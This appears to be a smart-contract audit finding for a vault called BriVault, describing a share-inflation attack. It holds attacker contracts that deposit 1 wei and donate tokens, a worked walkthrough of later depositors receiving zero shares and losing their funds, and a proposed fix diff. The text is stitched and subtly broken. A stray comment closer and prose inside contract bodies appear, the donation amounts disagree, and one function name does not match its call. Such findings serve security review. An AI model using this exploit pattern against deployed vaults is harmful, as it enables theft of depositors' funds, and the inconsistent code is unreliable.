pragma solidity ^0.8.24;
import "./BriVault.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract InflationAttacker {
BriVault public vault;
IERC20 public asset;
constructor(address _vault) {
vault = BriVault(_vault);
asset = IERC20(vault.asset());
}
function executeInflationAttack() external {
asset.approve(address(vault), 1);
vault.deposit(1, address(this));
asset.transfer(address(vault), 1_000_000e6);
}
function stealVictimDeposits() external {
vault.cancelParticipation();
}
}
contract DetailedMathExample {
STEP 1: Attacker deposits 1 wei
================================
Fee: (1 * 300) / 10000 = 0 (rounds down)
Stake: 1 wei
Shares: _convertToShares(1)
totalShares = 0 (first deposit)
return 1 (1:1 ratio)
Result:
- Attacker balance: 1 share
- Vault balance: 1 wei
- Total shares: 1
STEP 2: Attacker donates 10,000 USDC
=====================================
Direct transfer: 10,000e6 wei
Result:
- Vault balance: 10,000,000,001 wei
- Total shares: 1
- Price: 10,000,000,001 wei per share
STEP 3: Victim deposits 1,000 USDC
===================================
Fee: (1000e6 * 300) / 10000 = 30e6 (30 USDC)
Stake: 970e6 = 970,000,000 wei
Shares: _convertToShares(970,000,000)
shares = mulDiv(970,000,000, 1, 10,000,000,001)
shares = 970,000,000 / 10,000,000,001
shares = 0.097
shares = 0 (ROUNDS DOWN!)
Result:
- Victim shares: 0
- Victim paid: 1000 USDC
- Victim lost: 1000 USDC
- Vault balance: 11,000e6 + 1 wei
- Total shares: 1 (still just attacker)
STEP 4: More victims deposit
=============================
Each victim gets 0 shares, loses deposit
Vault accumulates: 10,000 + 1,000 + 1,000 + 1,000...
STEP 5: Attacker withdraws
===========================
Attacker has: 1 share out of 1 total
Vault has: 50,000 USDC (after many victims)
Attacker gets: (1 * 50,000 / 1) = 50,000 USDC
Profit: 50,000 - 10,000 = 40,000 USDC stolen
*/
}
contract SmallerCapitalAttack {
BriVault vault;
IERC20 asset;
function attackWith100USDC() external {
asset.approve(address(vault), 1);
vault.deposit(1, address(this));
asset.transfer(address(vault), 100e6);
}
}
contract BriVault is ERC4626, Ownable {
+ uint256 private constant INITIAL_SHARE_OFFSET = 1e6;
constructor(
IERC20 _asset,
uint256 _participationFeeBsp,
uint256 _eventStartDate,
address _participationFeeAddress,
uint256 _minimumAmount,
uint256 _eventEndDate
) ERC4626(_asset) ERC20("BriTechLabs", "BTT") Ownable(msg.sender) {
if (_participationFeeBsp > PARTICIPATIONFEEBSPMAX) {
revert limiteExceede();
}
+ if (_eventEndDate <= _eventStartDate) {
+ revert InvalidTimeRange();
+ }
+
+ if (_participationFeeAddress == address(0)) {
+ revert ZeroAddress();
+ }
participationFeeBsp = _participationFeeBsp;
eventStartDate = _eventStartDate;
eventEndDate = _eventEndDate;
participationFeeAddress = _participationFeeAddress;
minimumAmount = _minimumAmount;
_setWinner = false;
+ // Mint initial offset shares to prevent inflation attack
+ _mint(address(this), INITIAL_SHARE_OFFSET);
}
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
- uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
- uint256 totalShares = totalSupply();
-
- if (totalShares == 0 || balanceOfVault == 0) {
- return assets;
- }
-
- shares = Math.mulDiv(assets, totalShares, balanceOfVault);
+ // Use standard ERC4626 conversion with protections
+ return convertToShares(assets);
}
+ // Alternative: Manual implementation with protection
+ function _convertToSharesSecure(uint256 assets) internal view returns (uint256 shares) {
+ uint256 totalAssets = IERC20(asset()).balanceOf(address(this));
+ uint256 totalShares = totalSupply();
+
+ // With offset, totalShares >= 1e6, never zero
+ // First real deposit: shares = (assets * 1e6) / initialAssets
+ // Attack becomes economically infeasible
+ return Math.mulDiv(assets, totalShares, totalAssets, Math.Rounding.Down);
+ }
}